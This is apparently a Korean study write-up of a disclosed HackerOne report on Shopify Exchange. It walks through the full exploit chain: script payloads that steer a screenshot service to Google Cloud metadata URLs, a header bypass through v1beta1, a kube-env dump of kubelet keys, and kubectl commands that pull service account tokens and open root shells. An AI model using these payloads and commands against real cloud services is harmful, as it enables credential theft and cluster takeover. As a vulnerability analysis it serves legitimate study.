본문 바로가기

1-day 취약점 분석

[ 1-Day ] SSRF in Exchange leads to ROOT access in all instances

본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다. 

 

분석 레포트

https://hackerone.com/reports/341876

 

Shopify disclosed on HackerOne: SSRF in Exchange leads to ROOT...

 

hackerone.com

 

Overview

 

Shopify 인프라는 인프라의 하위 집합으로 분리되어 있다. @0xacb는 Shopify Exchange의 스크린샷 기능에서 서버 측 요청 위조 버그를 악용하여 특정 하위 집합의 모든 컨테이너에 대한 루트 액세스 권한을 얻을 수 있다고 보고했다. 보고를 받은 후 한 시간 이내에 취약한 서비스를 비활성화하고 모든 하위 집합의 애플리케이션을 감사하고 모든 인프라에서 문제를 해결하기 시작했다. 취약한 하위 집합에는 Shopify 코어가 포함되지 않았다.

 

모든 서비스를 감사한 후 메타데이터 은폐 프록시를 배포하여 메타데이터 정보에 대한 액세스를 비활성화하여 버그를 수정했다. 또한 모든 인프라 하위 집합에서 내부 IP에 대한 액세스를 비활성화했다. 이 하위 집합의 일부 애플리케이션이 일부 Shopify 코어 데이터 및 시스템에 액세스 할 수 있으므로 25,000달러를 Shopify 코어 RCE로 지급했다.

 

 

Steps to Reproduce ( Exploit Chain - 모든 shopify 인스턴스에서 ROOT 액세스 권한을 얻는 방법 )

 

### 1. Access Google Cloud Metadata ###

1. 스토어 생성 ( partners.shopify.com )

2. password.liquid 템플릿을 편집하고, 다음 콘텐츠를 추가한다. 

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token";
// iframes don't work here because Google Cloud sets the `X-Frame-Options: SAMEORIGIN` header.
</script>

 

3. http://exchange.shopify.com/create-a-listing 으로 이동하여, Exchange 앱을 설치한다. 

4. 목록 생성 페이지에 스토어 스크린 샷이 나타날 때까지 기다린다. 

5. PNG를 다운로드하고, 이미지 편집 소프트웨어를 사용하여 열거나, JPEG로 변환한다. ( Chrome에서는 검은색 PNG가 표시됨 )

 

Google Cloud 인스턴스에서 SSRF를 탐색하려면 특별한 헤더가 필요하다. 하지만 설명서를 읽다가 이를 '우회'하는 아주 쉬운 방법을 발견했다. /v1beta1 엔드포인트는 여전히 사용할 수 있으며, 메타데이터 설정이 필요하지 않다: Google 헤더가 필요하지 않고 여전히 동일한 토큰을 반환한다.


더 많은 데이터를 유출하려고 시도했지만 웹 스크린샷 소프트웨어가 application/text 응답에 대한 이미지를 생성하지 않았다. 하지만 alt=json 매개변수를 추가하면 application/json 응답을 강제 생성할 수 있다는 사실을 발견했다. 불완전한 SSH 공개 키 목록(이메일 주소 포함), 프로젝트 이름, 인스턴스 이름 등 더 많은 데이터를 유출하는 데 성공했다

<script>
window.location="http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json";
</script>

 

 

유출된 토큰을 사용하여 SSH 키를 추가할 수 있는가? NO!

curl -X POST "https://www.googleapis.com/compute/v1/projects/███/setCommonInstanceMetadata" -H "Authorization: Bearer ██████████████" -H "Content-Type: application/json" --data '{"items": [{"key": "0xACB", "value": "test"}]}'

 

{
  "error": {
    "errors": [
      {
        "domain": "global",
        "reason": "forbidden",
        "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/███████'"
      },
      {
        "domain": "global",
        "reason": "forbidden",
        "message": "Required 'iam.serviceAccounts.actAs' permission for 'projects/███████'"
      }
    ],
    "code": 403,
    "message": "Required 'compute.projects.setCommonInstanceMetadata' permission for 'projects/████████'"
  }
}

 

 

이 토큰의 범위를 확인했는데, Compute Engine API에 대한 읽기/쓰기 액세스 권한이 없다

curl "https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ABCDEFG..."

 

{
 "issued_to": "███████",
 "audience": "███",
 "scope": "https://www.googleapis.com/auth/cloud-platform",
 "expires_in": 1307,
 "access_type": "offline"
}

 

### 2. Dumping kube-env ###

 

새 스토어를 생성하고, 이 인스턴스에서 속성을 재귀적으로 가져왔다. 

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json
//매개변수 recursive=true는 모든 하위 속성을 검색하도록 지정

 

결과:  메타데이터 숨김이 활성화되어 있지 않으므로 kube-env 속성을 사용할 수 있다.

 

이미지가 잘려 있으므로, 나머지 Kubelet 인증서와 Kubelet 개인 키를 보기 위해, 아래 요청을 새로 보냈다. 

http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/kube-env?alt=json

 

client.pem

-----BEGIN RSA PRIVATE KEY-----
█████████
██████
████████
████
████
█████████
-----END RSA PRIVATE KEY-----

 

ca.crt, clinet.crt 등 추출..

 

 

### 3. Using Kubelet to execute arbitrary commands ###

 

- 모든 pods를 나열할 수 있다.

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get pods --all-namespaces

NAMESPACE                                   NAME                                                              READY     STATUS             RESTARTS   AGE
████████                    ██████████                    1/1

 

- 새로운 pods도 생성할 수 있다. 

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://████████ create -f https://k8s.io/docs/tasks/debug-application-cluster/shell-demo.yaml

pod "shell-demo" created
$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████████ delete pod shell-demo

pod "shell-demo" deleted

 

실행 중인 pods를 삭제하려고, 시도하지 않았기 때문에 xx사용자로 삭제할 수 있는지 확실하지 않다. 

 

그러나 이 새 pods나 다른 pods에서 명령을 실행할 수는 없다. 

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://█████████ exec -it shell-demo -- /bin/bash

Error from server (Forbidden): pods "shell-demo" is forbidden: User "███" cannot create pods/exec in the namespace "default": Unknown user "███"

 

 

get secrets 명령은 작동하지 않지만, 주어진 pods를 설명하고, 그 이름을 사용하여, 비밀을 얻는 것은 가능하다. 이것이 네임스페이스 xxx에서, 000 인스턴스를 사용여, kubernetes.io 서비스 어카운트 토큰을 유출한 방법이다. 

 

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://███ describe pods/█████ -n █████████

Name:           ████████
Namespace:      ██████
Node:           ██████████
Start Time:     Fri, 23 Mar 2018 13:53:13 +0000
Labels:         █████
                ████
                █████
Annotations:    <none>
Status:         Running
IP:             █████████
Controlled By:  █████
Containers:
  default-http-backend:
    Container ID:   docker://███
    Image:          ██████
    Image ID:       docker-pullable://█████
    Port:           ████/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sun, 22 Apr 2018 03:23:09 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    2
      Started:      Fri, 20 Apr 2018 23:39:21 +0000
      Finished:     Sun, 22 Apr 2018 03:23:07 +0000
    Ready:          True
    Restart Count:  180
    Limits:
      cpu:     10m
      memory:  20Mi
    Requests:
      cpu:        10m
      memory:     20Mi
    Liveness:     http-get http://:███/healthz delay=30s timeout=5s period=10s #success=1 #failure=3
    Environment:  <none>
    Mounts:
      ██████
Conditions:
  Type           Status
  Initialized    True
  Ready          True
  PodScheduled   True
Volumes:
 ██████████:
    Type:        Secret (a volume populated by a Secret)
    SecretName: ███████
    Optional:    false
QoS Class:       Guaranteed
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute for 300s
                 node.kubernetes.io/unreachable:NoExecute for 300s
Events:          <none>

 

$ kubectl --client-certificate client.crt --client-key client.pem --certificate-authority ca.crt --server https://██████ get secret███████ -n ███████ -o yaml

apiVersion: v1
data:
  ca.crt: ██████████
  namespace: ████
  token: ██████████==
kind: Secret
metadata:
  annotations:
    kubernetes.io/service-account.name: default
    kubernetes.io/service-account.uid: ████
  creationTimestamp: 2017-01-23T16:08:19Z
  name:█████
  namespace: ██████████
  resourceVersion: "115481155"
  selfLink: /api/v1/namespaces/████████/secrets/████
  uid: █████████
type: kubernetes.io/service-account-token

 

 

마지막으로 이 토큰을 사용하여 모든 컨테이너에서 셸을 가져올 수 있었다. 

$ kubectl --certificate-authority ca.crt --server https://████ --token "█████.██████.███" exec -it w█████████ -- /bin/bash

Defaulting container name to web.
Use 'kubectl describe pod/w█████████' to see all of the containers in this pod.
███████:/# id
uid=0(root) gid=0(root) groups=0(root)
█████:/# ls
app  boot   dev  exec  key  lib64  mnt  proc  run   srv  start  tmp  var
bin  build  etc  home  lib  media  opt  root  sbin  ssl  sys    usr
███████:/# exit

 

 

Impact

 

네트워크 액세스 제어를 우회하여 내부 서비스에 도달할 수 있는가?

 

어떤 내부 서비스에 액세스 할 수 있는지?
Google 클라우드 메타데이터

 

보안 영향
RCE

 

 

참고

  • https://leehosu.github.io/kubelet
  • https://kubernetes.io/ko/docs/tasks/configmap-secret/managing-secret-using-kubectl/
  • https://cloud.google.com/kubernetes-engine/docs/deprecations/apis-1-25?hl=ko